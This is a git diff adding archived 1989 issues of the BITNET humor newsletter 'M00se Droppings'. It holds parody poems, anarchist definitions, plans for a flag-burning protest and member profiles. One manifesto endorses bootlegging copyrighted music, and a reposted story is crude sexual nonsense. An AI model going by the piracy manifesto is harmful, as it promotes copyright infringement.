Sept. 5, 1989 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame them for the quality or content of the submissions. +Excepting those they may have written themselves, the enclosed items do not in +any way represent the Editors' opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- +Greetings all! + + Well, this is the Back-to-school issue as well, I guess... Some of you may +have tried to send messages to us and had them bounce (most of the messages +made it through, but some people say they sent messages which we never +received) because our node was up and down all summer. + + I've heard (from a fairly reliable source) that Sylvester Stallone wishes to +play the lead role in a movie about Edgar Allen Poe. Can anyone else +corroborate? (Does anyone have time to imagine what this may lead to? If so, +send us an article on it...) Sounds almost like Danny DeVito playing the +Penguin... it just doesn't mesh in my mind... + + If you aren't on the mailing list, send me a message telling me so :) +If you ARE, and no longer wish to be, send a message as well. Please note that +all submissions should to to *GOBLIN* (her address is below). All +administrative business is my bailiwick, so address all such mail to me. If +you are on the Internet, my address is LEE_JES%CTSTATEU.BITNET@CUNYVM.CUNY.EDU. + + Well, so much for rain... (Frank, call those rain gods back!) + + + - Goblin WITHALL@CTSTATEU (BITNet) + - SalmonM00se LEE_JES@CTSTATEU (BITNet) + + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- +Looking: Seeking people in CT or surrounding area to respond and request a +thr0ng-a-th0n! Send mail to WITHALL@CTSTATEU if interested. I want to set a +date for it and time. - Goblin +- - - - - - - - - - - - - - - - - - - - +Reports of a Mini-Thr0ng-A-Th0n taking place in Connecticut have been proven +true. Those of you interested contact WITHALL@CTSTATEU (Goblin). +- - - - - - - - - - - - - - - - - - - - +The M00se Illuminati T-shirts are now underway! +- - - - - - - - - - - - - - - - - - - - +If interested in M00se Illuminati T-SHIRTs contact DICKSON@HARTFORD. +- - - - - - - - - - - - - - - - - - - - +Wanted: Slow dull witted waterbed looking for newt as a companion. +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +Fellow M00ses, Bl00pers, Bl00mers, and B0ss0ms, + [c'mon...didn't any of you ever read Bloom County???geeeesh] + Anwyay, In light of happenings in recent weeks, I, Lord Trelf, have +been moved by my poetic [and burly] muse to put my ever-thraining thoughts +to words...and in that light, I present to you..... + + +Ode To Rain What Keeps Us From Ripping The Heads Off Fish +___ __ ____ ____ _____ __ ____ _______ ___ _____ ___ ____ + + +Oh Rain! Oh Downpour! +Oh Demonic Condensation Of The Nether Hells! +It's you what keeps me from my alloted task - +that of ripping the heads from poor unsuspecting fish! +Your myriad drops fall upon my head +and frighten the little fishies from the +Surface of the still waters - +waters still no longer thanks to your +large bulbous drops which do splash and splatter +on the surface of the once-still waters, +causing them to bubble and ripple, +ceasing their silky stillness. + +Oh Rain! Oh Ye Spiteful Bastard! +Forcing me home to a most bland dinner +of Hamburger Helper - damn that sentient hand! +Oh for Fish Florentine! or Fish Picante! +Or maybe even a [dare I pray?] +A Cajun Blackened Red Snapper - +Oh how I long for these as I stare at +that smirking Hand. +Oh the Joys I could have were it not for +you, +Oh Rain What Keeps Us From Ripping The Heads Off Fish! + +Oh Rain, Oh Unmerciful Wrath of the Gods! +Why do you torment me so? +Me, who wants only to dwell in the sublime pleasures +one can only achieve by twisting and ripping the +head of a hapless trout or bass from it's +non-existent shoulders! +Speak to Me! Tell unto me thy reasons! +Oh Rain What Keeps Us From Ripping The Heads Off Fish! + + +- - - - - - - - - - - - - - - - - - - - - - - - - - - + And now, more prophesies from the ever-musculaturing [working in a +shipping and receiving department will do this to you] High Lord Trelf. + + +July: + Massive earthquakes strike Burma, Moscow, Berlin, and California +as Dom DeLuise and Luciano Pavarotti simultaneously trip and fall to the +ground. The death toll stands at 326,571. + + The Dark Queen issues a new edict: "Thou shalt not take My Name +in thrain." Confusion runs rampant through the lands as the populace tries +to figure out the meaning of this new law. Some theories suggest Her +Darkness hiccuped while uttering the law, which should have been "Thou +shalt not take my name in the rain", while others think it meant "Thou +shalt not split my brain in twain." Still others thought she said "Thou +shalt not pretend I'm Mark Twain," and a small faction located in the +Bronx thought she said "Yo! When's the next train?" + + Elvis Presley, Consort to The Dark Queen, met on the field of battle +with King Richard of the Low Body-Fat Content. The battle was long and bloody, +but in the end King Richard was successful, thwarting Elvis' hip thrusts +with a springing leapt over the over-weight ex-singer-turned-love-slave, +landing on his shoulders and screaming into his ears at an incomprehensibly +annoying pitch. As a result, large sections of Western Europe are now under +the control of King Richard. + +August: + Ever single televangelist on Chearth [Earth renamed by The Dark Queen] +was struck dead instantly by a blast whose origin is estimated to have come +from the moon. The moon is the area believed to be the new abode of +High Lord Trelf, figure of legend who some believe is now back in this +universe and is hoped to come back to the land and depose The Dark Queen. + + While leaving a New York hotel, Bob Geldoff was shot in the head +42 times. This did not even make the trailer story of the evening news. +Surprisingly, the trailer for the evening news that night told the +story of Irma Lipshutz, an elderly Philadelphia women who had taught +her pet pit bull too {**CENSORED DUE TO OBSCENE LANGUAGE, PERVERSE +NOTIONS, AND THE TAKING OF THE DARK QUEEN'S NAME IN THRAIN**} + + +That's all for now, ladies, gentlemen, m00ses, and others...... + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + + + A friend of mine and I were shooting the breeze the other day and we came up +with an idea on how to start a new country. A group of people would purchase +an uninhabited island from Great Britain with the intention of setting it up as +an independant nation within the British Commonwealth (similar to Australia or +Canada). I am looking for advice on how to raise capital, who to contact +within the British government, which island would be best, or whatever else I +(and whoever I am working with) need to know. + + I am serious about doing this, so unless you are willing to actually work, +please don't bother responding to this. This is not meant to insult anyone, +but I'm just trying to discourage those who would not be fully commited to the +cause. + + I await your replies. + + Joe Claffey + CLAFFEY_JOR at CTSTATEU + +- - - - - - - - - - - - - - - - - - - - - - - - - - - + +Folkses...and you others, + + Greetings! Lord Trelf here. Just had some thoughts I wished to share +with you all... + + In the last issue, Spaceman Biff [May his Foster's Can never Empty, +and may his Samuel Smith Taddy Porter never lose it's Tad!!] put +forth his thoughts on the evolution of chest hair on certain members +of the male gender of the human species. [Of which I am proud to be a member, +sporting such a fine weave of hair on my chest that I do...] + I do not wish to refute the Biffer's findings, as I'm sure they are true, +but I wish to present what I think to be a logical albeit paranoid explanation +for the bushy male chest. Now think, all you out there with hair on your +chest: When a woman gets mad at you, what's one of the first things she does, +should you be so unlucky as to be wearing an open shirt, or worse yet, no +shirt at all? Why, she immediately starts pulling you around by your chest +hair! [And only someone with a truly hairy torso can understand the pain +this involves] Now think: Could it be, dear friends, that male chest hair +may have been placed there BY women, to give them yet something else +to drag us around by? + Now, I know you are all saying that I'm being paranoid, but think about +It. Why do only MEN have chest hair? Why do only women pull men around BY +their chest hair? Food for thought....[Or maybe Follicles for Frollicking?] + + Yours incogneato, + + His High Holy Lord Trelf +- - - - - - - - - - - - - - - - - - - - - - - - - - - +More trek...from wesleyan... + +Data:Captain, there is an alien life form on your head! +Picard:Nonsense, Data. I simply have a (sigh) full head of hair again. +Data:Nevertheless, it could be dangerous. I suggest we go to the medlab for + some tests. +Troi:Captain, I am feeling... +Riker:You're feeling Wesley. Hands off, kid. +Wesley:Gosh, sir, sorry. +Worf:Hmmm. Giordi, is this look ME? +Giordi:Looks good to me, Worf. +Data:Captain, I must insist. If nothing else, the Chief Medical Officer has + not yet appeared in this episode, and this provides an opportunity for + your smoldering potential romance to receive more screen time. +Picard:No, I can handle this. As you were. Number one, you have the helm. + {Captain's Cabin} +Wesley:Knock knock +Picard:Come, no no, stop thinking about Troi, ensign. +Wesley:Yessir. Well, sir, I was wondering about the alien life form you have + on your head. +Picard:Yes, what about it? +Wesley:Well, sir, Troi says she feels unhappiness radiating from it in great + waves, sir. The one on Worf is apparently happy, but yours is ill, + sir. +Picard:Nonsense, Wesley. I have perfect faith in Counselor Troi's legs, make + that abilities, but this time she is mistaken. + {The alien life form slides off Picard's head, obviously kaput} +Picard:Medteam to the Captian's quarters on the double. Emergency! + {Close with closeup shot of Picard's anguished face} + +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- + + Chapter Name : Philip D. Noah + Nick name(s) : Arizona + M00se nick : Arizona M00se + M00se's name : Claudette + Net Address : bitnet : in%"V115GWE6@UBVMS.BITNET" + : wwiv net : 295 @ 7654 + Sex : x_ male __female __No, I'm British + Purity Quotient : 81 % + Description : I stand almost 2 meters tall (6' 3") + and weigh about 63 Kg (140 lb). Blue eyes + and blondish/brown hair. + Favourtie saying: Fair's Fair. + Likes : M00se watching, reading M00se droppings + having lunch with pretty m00se's, Bl00ping, + ,watching old movies and doing fun m00sey things. + Why I do what I + do : Well someone has to be me....and no one else + wants to be me so i'm stuck with the job. + + Famous last words: Can't think of anything else to put down. + +Bl00P ! +-------------------------------------------------------------------------------- +Tropical Issue-Tropical Issue-Tropical Issue-Tropical Issue-Tropical Issue-Tropi +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se30 b/textfiles.com/magazines/M00SE/m00se30 new file mode 100644 index 00000000..408a757a --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se30 @@ -0,0 +1,500 @@ +-------------------------------------------------------------------------------- +Pirated Issue-Pirated Issue-Pirated Issue-Pirated Issue-Pirated Issue-Pirated Is +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #30| Disclaimer: The Editors will place almost anything | Nov 1, 1989 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame them for the quality or content of the submissions. +Excepting those they may have written themselves, the enclosed items do not in +any way represent the Editors' opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- +Hi! + Bl00p to all, and all that rot. ;^) + In case you are wondering why this is the Pirated Issue, it is because +I, Patrick Salsbury, a.k.a. DangerM00se, a.k.a. WarM00se, have taken over the +editorship of this here fine newsletter! It all began a week or so back, when I +got this letter in the mail. + Oh! I remember it so clearly! I was sitting with RiffM00se on some +throw-pillows in my apartment, madly trying to learn how to play ILLUMINATI!, by +Steve Jackson Games, when this message appeared on my screen.... + +**************************BEGIN MISTY DREAM SEQUENCE**************************** + +Date: Fri, 20 Oct 89 13:48 EDT +From: "Running on coffee and willpower." +Subject: Hi Pat... +To: v291nhtp@UBVMS.BITNET + +Pat, let's say you happened to gain control of the most powerful literary +propaganda newsletter in the world. One that, theoretically, was mailed out +to a bunch of people on BITNET once a week. How good a job do you think you +could do at revitalizing the not-so-ancient-but-extremely-powerful M00se +Illuminati? + +If you catch my drift.... + +Later, + Bill + +***************************END MISTY DREAM SEQUENCE***************************** + + ...Yeah. It's still clear in my mind, as if I had just read it again. :) + ANYWAY! There you have it. The M.I. was in a slumber, but I have come to +awaken thee! (The WHAT? you might ask, to which I will deftly reply: "Don't be +so damn literal!) + In any event, this issue is coming from my own personal archives of +weirdness, the bowels of my literary directories, and such. I only have enough +stuff in there to make about 17 more issues of 'Droppings, so I suggest you all +start submitting things real quick! Or else you'll suffer!... ;^) + -Patrick Salsbury + -DangerM00se + -WarM00se + -Etc. + V291NHTP@UBVMS.BITNET +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + What with the new location of M.D. Headquarters being in the lo-cal +(diet permeates all of our society nowadays) of the UB GIGATHR0NG at the State +University of NY at Buffalo, and seeing as I am the Bull M00se and FOUNDER of +the UB *GIGA*THR0NG, and as *I* was the one who BROUGHT the word of THE GLORIOUS +M00SE ILLUMINATI to ALL of the MILLIONS OF CHEERING MINIONS in **BUFFALO, NY** +...Ahem...Megalomania check!...Ah! That's better! :) Where was I? Oh yes! + Being as we are now in Buffalo, we are going to make production of M.D. +a group effort. (YOU HEAR THAT, GUYS? YOU'RE GONNA *HELP*! ;^) ) Thereby, I +won't freak out of my gourd, and we may even actually get this beast up to a +weekly status! + Right now, I'm taking submissions & such. My address is above. Darkling +M00se is going to handle the Chapter List. So any new chapters or changes should +be reported to him. His address is: + V123NKUX@UBVMS.BITNET +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +FLAG-BURNING! + Yes, one of the other recent developments here at UB has been a VERY +active discussion of the new bill against flag-burning. We have been discussing +various means of protesting this bill. From an out-and-out burning, to the +wearing of the flag, draped around us like our President did when he visited the +flag factory while on the "Campaign Trail". This would be, in my opinion, more +in line with the goal of the M.I. of confusing everyone. People couldn't call us +un-American or non-patriotic, and they wouldn't really know how to react to a +flag-wearer! :) + We are considering trying to make this a national event. Getting m00ses +and other similarly minded people (gak! are there OTHERS like us?) to organize +through the Net and all wear flags on their campuses on the same day. Maybe one +of our illustrious staff-reporters here at UB would like to make a report in the +next issue? [Captain Devious, perhaps?] (That's a hint! :-) ) + + [Just got this from Devious today.] +From: UBVMS::V061REGM "CAPTAIN DEVIOUS" 31-OCT-1989 11:01:06.95 +Subj: protest update +Description: flags'n'stuff + + FLAG BURNING STATUS REPORT + +The Flags: We're getting a bunch of little paper flags from a party store + to burn. I'll find out how much they are, and whoever wants to can + chip in. + +The set-up: I have yet to get in contact with the necessary groups. I'm + checking P.S. today or tomorrow, and I'm hoping that Thom will get + me the list of possible groups together. + +The date: The protest date is tentatively set back to Friday, 11/10. + The figuring is that a) more people will be in Founder's on friday, and + b) we probably won't get everything together till then. + +The hype: The press releases will be done by tomorrow. Send out by this + friday at the latest. A copy will be posted here, on POLITICS, and + wherever else i feel like putting them. I need help with flyers. + +The Group: This demonstration will be the kick-off of a new organization, + the Thousand Points of Light. We will be a pro-rights discordian + organization, affiliated with the Secret Society, and possibly the + M-I, A.P.E., and the third church of Eris whatever. (guys, get + back to me on this) + +The network: Kidd Vicious and the other S.S. members cross-country will be + notified of these things, and great things will be afoot. Whoever + is in charge of the M-I network should disperse info quickly, also. + +more later... +CAPTAIN DEVIOUS! +O ++ +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +ANARCHY! + We've been promoting anarchy here at UB, also. Having a nice, heated +debate on our POLITICS bulletin board. (And I think we are winning!) Here are +some things I posted: +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +The following is an excerpt from "Never Whistle While You're Pissing", by +Hagbard Celine, as quoted in "The ILLUMINATUS! Trilogy", by Robert Shea and +Robert Anton Wilson. (pp. 622-624) + + + DEFINITIONS AND DISTINCTIONS + + FREE MARKET: That condition of society in which all economic +transactions result from voluntary choice without coercion. + THE STATE: That institution which interferes with the Free Market +through the direct exercise of coercion or the granting of privileges (backed by +coercion). + TAX: That form of coercion or interference with the Free Market in which +the State collects tribute (the tax), allowing it to hire armed forces to +practice coercion in defense of privilege, and also to engage in such wars, +adventures, experiments, "reforms," etc., as it pleases, not at its own cost, +but at the cost of "its" subjects. + PRIVILEGE: From the latin /privi/, private, and /lege/, law. An +advantage granted by the State and protected by its powers of coercion. A law +for private benefit. + USURY: That form of privilege or interference with the Free Market in +which one State-supported group monopolizes the coinage and thereby takes +tribute (interest), direct or indirect, on all or most economic +transactions. + LANDLORDISM: That form of privilege or interference with the Free Market +in which one State-supported group "owns" the land and thereby takes tribute +(rent) from those who live, work, or produce on the land. + TARIFF: That form of privilege or interference with the Free Market in +which commodities produced outside the State are not allowed to compete equally +with those produced inside the State. + CAPITALISM: That organization of society, incorporating elements of tax, +usury, landlordism, and tariff, which thus denies the Free Market while +pretending to exemplify it. + CONSERVATISM: That school of capitalist philosophy which claims +allegiance to the Free Market while actually supporting usury, landlordism, +tariff, and sometimes taxation. + LIBERALISM: That school of capitalist philosophy which attempts to +correct the injustices of capitalism by adding new laws to the existing laws. +Each time conservatives pass a law creating privilege, liberals pass another law +modifying privilege, leading conservatives to pass a more subtle law recreating +privilege, etc., until "everything not forbidden is compulsory" and "everything +not compulsory is forbidden." + SOCIALISM: The attempted abolition of all privilege by restoring power +entirely to the coercive agent behind privilege, the State, thereby converting +capitalist oligarchy into Statist monopoly. Whitewashing a wall by painting it +black. + ANARCHISM: That organization of society in which the Free Market +operates freely, without taxes, usury, landlordism, tariffs, or other forms of +coercion or privilege. RIGHT ANARCHISTS predict that in the Free Market people +would voluntarily choose to compete more often than to cooperate. LEFT +ANARCHISTS predict that in the Free Market people would voluntarily choose to +cooperate more often than to compete. + +******************************************************************************** + Typed By Patrick G. Salsbury on Sat., October 28, 1989 +******************************************************************************** +From: V291NHTP +Date: 28-OCT-1989 22:01:43 +Description: RE: Anarchy Definitions + + And there you have the definition of anarchy that I work by. When you +look at it, it really isn't all that bad. Granted, we can't have it, given the +current mentality of our society, but that may change someday. + As I typed that in, I realized something rather profound. TRUE +anarchists (not those fools who just go around spraypainting the "A"-in-a-circle +anarchy symbol on walls because it's a trendy thing to do) are Global Citizens. +They feel no fealty to any one nation, but rather think of all humans as equal. +(Unless, of course, they feel slightly smug about being intelligent enough not +to blindly follow a government like sheep. ;^) ) They can think in terms of an +entire planet, whereas "subjects" are confined to thoughts of "us" and "them". + What's more, the planet will never reach a state of true harmony with a +unified, planetary government while people cling to ideas of patriotism and +nationality. Therefore, I put forward the idea that TRUE anarchists are at a +level of maturity where they respect each person's individuality and rights, +and don't need the protective umbrella of a government to "keep them in line". +They have "grown up" and are capable of acting as adults should. Perhaps, as +I've hinted at, TRUE anarchy is somewhere down the road in the direction of +Global Citizenry, where people don't need rules telling them what they can and +cannot do, but they know how to "behave themselves" without threats of penalty. +If that is the case, then anarchists are the next stage in human evolution, and +are just a bit ahead of their time at the present. + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + I met some m00ses over the summer at the Sterling Renaissance Faire in +Sterling, NY. I met Lord Trelf, Half-Elf, Scamp (A Scamp-Sighting!), Gypsy-Lynx, +and some others I've forgotten. (Sorry!) + Maybe they will collaberate and write a story/thing about the meeting! +(Boy! If you people aren't catching the hints I'm lobbing at you, you're worse +off than I thought!) I'll add my bit when they submit it to me. :) + -Pat (again) + {Why do I get the + feeling I'm talking + to myself?} +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Oh, This is Halloween, as I write this bit. I realized the significance +of this date, and thought, "maybe I should try to get it out a day early", but +I've been having problems figuring out how to mail it out to all of you people, +so it won't be there on Halloween. :-( (It's 10.27 pm EST, now, so I'm fairly +certain of this. Hell! It may not even be out on the first! Maybe I'm just going +to amuse myself with this, and never be able to mail it out! :-) + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 5.52 pm EST, Nov. 2nd. - I hate vague listservs that won't tell me +what's wrong! But Bill Dickson finally figured it out! It just wanted ALL +CAPITALS IN THE RETURN ADDRESS!!! Sheesh. What a stupid machine. Or is it me? :) +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- +This is from O.D.M00se. See that date? I TOLD you I had lotsa old stuff in my +files! :) + -Pat + +Description: Another forgetable post by a certain vogon poet/ltd +From: V109MEN5 Date: 27-JAN-1988 + + ltd....the poem + + +ltd and fisheggs + +ltd and dead sparrows + +ltd and jimmy hoffa + +ltd and the key grip from the making of the making of the filming of Jaws + +ltd and ford motor company + +green sausages +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Date: Wed, 11 Oct 89 23:56:00 EDT +From: "L. Daniel York" +Subject: *joke* Fish Spill at Exxon +Sender: "Biosphere, ecology, Discussion List" + +From: UNHH::M_SANGILLO 11-OCT-1989 16:52:50.70 +To: D_YORK +Subj: Fish Spill Hits Exxon +| +| ALASKA PRESS INTERNATIONAL +| +| In a tragic accident at the Exxon corporate headquarters, the fish +| truck Prince William Express slammed into the side of the main +| building of the new corporate headquarters, spilling more than 20 +| tons of dead herring, salmon, sea otters and various other wildlife +| onto the pristine lawn of the Exxon complex. +| +| Skipper Joe Woodhead was passed out in the sleeper compartment of the +| state-of-the art fish truck when the truck struck the clearly marked +| building. "Bobo", the skipper's dog, had the wheel at the time of the +| accident. Bobo, whose certification does not permit him to drive +| on planet earth, was unavailable for comment, and confirmed sources +| suggest he has a history of drug abuse. +| +| The skipper contends that he was not drunk at the time of the accident, +| but when he realized the seriousness of the spill he ran out to a +| local tavern and pounded down a half-dozen beers. Woodhead also +| contends that he told Bobo to give him a "Bud Light" not a "hard right." +| +| The President of Prince William Express Co. said that they would assume +| full responsibility for the spill and would submit a plan in about a +| month on the proposed clean-up procedure. He also stated that they +| ship over a million tons of seafood a year and that an accident like +| this is just the price we have to pay to eat fish. +| +| When asked about clean-up equipment for such a spill, company +| officials commented that a small pickup with a shovel in it was in +| Gopher Spits, Iowa, but had a flat tire and therefore would be unable +| to be dispatched to the scene. +| +| On the market side of things, fish prices will increase by 20% for all +| species. +-------------------------------------------------------------------------------- + +From: V061REGM +Date: 6-OCT-1989 09:53:38 +Description: Secret Society Manifesto #1 + +SECRET SOCIETY MANIFESTO #1 +--------------------------- + + BEING disgusted by the constant rip-offs being +perpetrated by such infamous musical institutions such as +Record Theatre, Camelot Records, etc., and + + BELIEVING that all music should be done for the sake of +music alone, and not for any personal gain, monetary or +otherwise, and + + BELIEVING that all people should be exposed to the +maximum variety of music possible, and + + BELIEVING that all music should be available to the +public in general, with no profit gained by any party, + + WE, the Secret Society hereby conspire to distribute +all available music to any or all available persons by any +means possible, and + + ALTHOUGH this may be in violation of the copyright +laws of the United States and other nations, we propose to +do this by transferring copyrighted material onto blank +audio cassettes and distributing them to whomever desires +them, and by bootlegging until we are busted. + + THESE practices shall hereby be known in our circles as +the Secret Society Music Exchange ( SSME - pronounced "sesame" ) + + SO BE IT! + +(signed,) +CAPTAIN DEVIOUS, HIGH PRIEST +KIDD VICIOUS, MAGISTRATE + + +p.s. If you wish to use the SSME, contact + the Secret Society. If you don't know + who we are, FIND OUT! + +O ++ +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- +I found this on Alt.Sex.Bestiality ( ;^) ) and just KNEW it belonged here! I've +tried to contact this guy, and get his permission, but he hasn't responded yet. +Chalk up another one for the Pirated Issue! + I don't think this guy is a m00se, yet, but I think he belongs! :) + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +X-NEWS: ubvmsc alt.sex.bestiality: 9 +Newsgroups: alt.sex.bestiality,alt.sex.bondage +Subject: An alternative story +From: sf1@rosemary.cs.reading.ac.uk (Fruitbat) +Date: 24 Oct 89 09:55:41 GMT +Organization: Comp. Sci. Dept., Reading Univ., UK. +Keywords: Fruitbats, leather +Summary: A kinky story +Lines: 56 + +Daydreams of a kinky fruitbat - All rights reserved + +By Steven Fruitbat Foster + +Helped, hindered and exhausted by + +spo1: Inspiration, leather at 3am and Re: Altruism +shugoffa: For being cute and talking about nymphs a lot +whb1: 'You can't put THAT in your plan!!' +nab1: The sunglasses say it all +dwr1: Well, I HAD to educate him SOMEHOW +nrp1: He'd moan if I didn't mention him +potten@dec: 'A few ideas...' +-------------------------------------------------------------------------- + +Kinky lubricated leather studded necrophiliac fruitbats liberally +smeared with mashed potato and tomato sauce, marinated at gas mark 4 and +whipped severely with a rubber glove and a sticky thong that has been +used by a band of nubile young wood nymphs glistening wetly in pools of +sun drenched lubricant for purposes of extreme nymphomania with a group +of pleasantly inebriated (and therefore uninhibited) elves practicing +various forms of bondage hanging by thongs from a tree which is covered +with thrash marks from a well-worn riding crop that has seen better days +with more vital and effervescent water nymphs who alas perished one +midsummers morning in the throes of extreme pleasure after experimenting +wildly with a rubber hose and an air compressor that was covered with KY +jelly and many other strange liquids, some of which occur naturally and +others which were stolen by a helpful goblin from the local Tesco to pay +the aforementioned water nymphs for some rather personal services that +they rendered him one day and he doesn't really like to talk about, +although unbeknowst to him there are some photos of the said occasion +currently waiting to be collected in the local photo-processing shop +eagerly awaited by the water nymphs so they can get some more jelly, or +it would have been, if they hadn't all perished that midsummer morning +but luckily leaving the riding crop behind for the benefit of the wood +nymphs and the elves who are still drunken and are now entering a state +of complete uninhibitedness which has caused even the tree to shut his +eyes in shock which is unusual for a tree, as they are usually pretty +thick barked, except, perhaps, this one, which has had most of the +stuffing knocked out of it by the riding crop, which, although it has +seen better days, is still capable of a good thrash, even though one end +needs gluing and the other end is now angled at forty-five degrees, ie, +thoroughly bent, which is what the casual observer would think the elves +were, if he didn't look closely at the wood nymphs on the tree, who were +doing stunningly odd things with paper clips that occur naturally, +seeing wood nymphs don't get served in Tesco for reasons of hygiene, as +they tend to drip various sticky substances over the meat counter, which +doesn't really matter, except for the fact that species discrimination +is very upsetting to various kinky necrophiliac fruitbats who only +really want to be loved and played with very roughly with a riding crop. + + +----------------------------- Sent to you by ---------------------------- +sf1@rosemary.cs.reading.ac.uk | WHERE IS ALT.FRUITBAT!!!!!!!!! +foster%dec.jumbly@com.dec.decwrl@rl.earn | Is a homomorphism a gay lump +jumbly::foster, pobble::foster | of plasticine? +-------------------------------------------------------------------------------- +Date: Tue, 31 Oct 89 15:18 EDT +From: "Good for your soul." +Subject: Submission for M00se Droppings + +Ladies and Gentlemen, + +I do hereby pronounce Superguy Digest dead. Dangerousman has destroyed +Washington, D.C., and with it all superheroes who were (A) at the convention, +and (B) had no means of escape or protection (in other words, if you want your +character to still be alive, make something up). + +All characters who have fallen into disuse are, therefore, dead. The only +surviving character I know of is Dangerousman. The slate is clean. + +I hereby announce the beginning of: SUPERGUY II -- THE NEXT SEMESTER. If your +old character survived, start writing again. If you have a new character, +start writing. If you've never had a character, make one up and start writing. +Let's get this thing back off the ground. + +Subscribers to this list will of course, be hearing the exploits of +Dangerousman, as he flees the government that created him for destroying their +home town. + +But who else will be here? Did Qwyntor throw up a force field? Is the Awesome +Force still lurking around in western Connecticut? What of Trash Man, The +Armadillo? Will Superm00se join in the fun? Is Flatphoot still alive? How +about Punk With A Gun? Did the Stealth Beetle protect him? And what of +Dangerousman's fiancee, the lovely Relativity Woman? + +And how about some new characters? + +Let's all hope something's going on out there.... + + Pickle + +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- + I don't have any m00se ids.... :-( + -Pat +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + Will come once we get it all figured out. :) + +-------------------------------------------------------------------------------- +Pirated Issue-Pirated Issue-Pirated Issue-Pirated Issue-Pirated Issue-Pirated Is +-------------------------------------------------------------------------------- + + + + + +******************************* This Is Line #500 ****************************** diff --git a/textfiles.com/magazines/M00SE/m00se31 b/textfiles.com/magazines/M00SE/m00se31 new file mode 100644 index 00000000..52818db8 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se31 @@ -0,0 +1,582 @@ +-------------------------------------------------------------------------------- +Next Issue-Next Issue-Next Issue-Next Issue-Next Issue-Next Issue-Next Issue-Nex +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #31| Disclaimer: The Editors will place almost anything | Nov. 03, 1989 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame them for the quality or content of the submissions. +Excepting those they may have written themselves, the enclosed items do not in +any way represent the Editors' opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +************************************* STAFF ************************************ +-------------------------------------------------------------------------------- + Editor - Patrick Salsbury + Submissions to: DangerM00se + Back issue requests: WarM00se + M00se List updates and changes: Darkling M00se + (This space to let): Contact +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + Hmm. Back again? Already? It seems like only yesterday I was mailing out +the last issue. (Maybe because it WAS only yesterday, as the @#&%$(@#% mailer +delayed everyting. (Hey, mon, me tinks I'll tok in de JaMAYca occent fo' a bit!) +Naw, too difficult. + Anyway, things seem to be coming along fine, I've gotten some +submissions, and the !#%@%^&($# mailer is FINALLY working, so you should be +getting this crap on a fairly regular basis. We are getting lots o' bouncebacks +from m00ses who have mysteriously disappeared...I think THEY got our fellow 